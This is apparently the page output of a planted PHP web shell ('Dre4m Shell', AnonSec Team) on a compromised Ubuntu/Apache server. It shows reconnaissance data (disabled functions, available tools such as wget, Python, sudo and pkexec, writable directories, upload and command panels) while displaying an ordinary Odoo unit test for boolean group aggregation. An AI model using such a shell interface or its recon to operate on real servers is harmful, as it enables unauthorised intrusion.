Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.221.21.111
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/odoo/addons/test_read_group/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/odoo/addons/test_read_group/tests/test_group_operator.py
# -*- coding: utf-8 -*-
from odoo.tests import common


class TestGroupBooleans(common.TransactionCase):

    def setUp(self):
        super(TestGroupBooleans, self).setUp()
        self.Model = self.env['test_read_group.aggregate.boolean']

    def test_no_value(self):
        groups = self.Model.read_group(
            domain=[],
            fields=['key', 'bool_and', 'bool_or', 'bool_array'],
            groupby=['key'],
        )

        self.assertEqual([], groups)

    def test_agg_and(self):
        # and(true, true)
        self.Model.create({
            'key': 1,
            'bool_and': True
        })
        self.Model.create({
            'key': 1,
            'bool_and': True
        })
        # and(true, false)
        self.Model.create({'key': 2, 'bool_and': True})
        self.Model.create({'key': 2, 'bool_and': False})
        # and(false, false)
        self.Model.create({'key': 3, 'bool_and': False})
        self.Model.create({'key': 3, 'bool_and': False})

        groups = self.Model.read_group(
            domain=[],
            fields=['key', 'bool_and'],
            groupby=['key'],
        )

        self.assertEqual([
            {
                'key_count': 2,
                '__domain': [('key', '=', 1)],
                'key': 1,
                'bool_and': True
            },
            {
                'key_count': 2,
                '__domain': [('key', '=', 2)],
                'key': 2,
                'bool_and': False
            },
            {
                'key_count': 2,
                '__domain': [('key', '=', 3)],
                'key': 3,
                'bool_and': False
            },
        ], groups)


    def test_agg_or(self):
        # or(true, true)
        self.Model.create({
            'key': 1,
            'bool_or': True
        })
        self.Model.create({
            'key': 1,
            'bool_or': True
        })
        # or(true, false)
        self.Model.create({'key': 2, 'bool_or': True})
        self.Model.create({'key': 2, 'bool_or': False})
        # or(false, false)
        self.Model.create({'key': 3, 'bool_or': False})
        self.Model.create({'key': 3, 'bool_or': False})

        groups = self.Model.read_group(
            domain=[],
            fields=['key', 'bool_or'],
            groupby=['key'],
        )

        self.assertEqual([
            {
                'key_count': 2,
                '__domain': [('key', '=', 1)],
                'key': 1,
                'bool_or': True
            },
            {
                'key_count': 2,
                '__domain': [('key', '=', 2)],
                'key': 2,
                'bool_or': True
            },
            {
                'key_count': 2,
                '__domain': [('key', '=', 3)],
                'key': 3,
                'bool_or': False
            },
        ], groups)

    def test_agg_array(self):
        # array(true, true)
        self.Model.create({
            'key': 1,
            'bool_array': True
        })
        self.Model.create({
            'key': 1,
            'bool_array': True
        })
        # array(true, false)
        self.Model.create({'key': 2, 'bool_array': True})
        self.Model.create({'key': 2, 'bool_array': False})
        # array(false, false)
        self.Model.create({'key': 3, 'bool_array': False})
        self.Model.create({'key': 3, 'bool_array': False})

        groups = self.Model.read_group(
            domain=[],
            fields=['key', 'bool_array'],
            groupby=['key'],
        )

        self.assertEqual([
            {
                'key_count': 2,
                '__domain': [('key', '=', 1)],
                'key': 1,
                'bool_array': [True, True]
            },
            {
                'key_count': 2,
                '__domain': [('key', '=', 2)],
                'key': 2,
                'bool_array': [True, False]
            },
            {
                'key_count': 2,
                '__domain': [('key', '=', 3)],
                'key': 3,
                'bool_array': [False, False]
            },
        ], groups)

    def test_group_by_aggregable(self):
        self.Model.create({'bool_and': False, 'key': 1, 'bool_array': True})
        self.Model.create({'bool_and': False, 'key': 2, 'bool_array': True})
        self.Model.create({'bool_and': False, 'key': 2, 'bool_array': True})
        self.Model.create({'bool_and': True, 'key': 2, 'bool_array': True})
        self.Model.create({'bool_and': True, 'key': 3, 'bool_array': True})
        self.Model.create({'bool_and': True, 'key': 3, 'bool_array': True})

        groups = self.Model.read_group(
            domain=[],
            fields=['key', 'bool_and', 'bool_array'],
            groupby=['bool_and', 'key'],
            lazy=False
        )

        self.assertEqual([
            {
                'bool_and': False,
                'key': 1,
                'bool_array': [True],
                '__count': 1,
                '__domain': ['&', ('bool_and', '=', False), ('key', '=', 1)]
            },
            {
                'bool_and': False,
                'key': 2,
                'bool_array': [True, True],
                '__count': 2,
                '__domain': ['&', ('bool_and', '=', False), ('key', '=', 2)]

            },
            {
                'bool_and': True,
                'key': 2,
                'bool_array': [True],
                '__count': 1,
                '__domain': ['&', ('bool_and', '=', True), ('key', '=', 2)]
            },
            {
                'bool_and': True,
                'key': 3,
                'bool_array': [True, True],
                '__count': 2,
                '__domain': ['&', ('bool_and', '=', True), ('key', '=', 3)]
            }
        ], groups)

Anon7 - 2022
AnonSec Team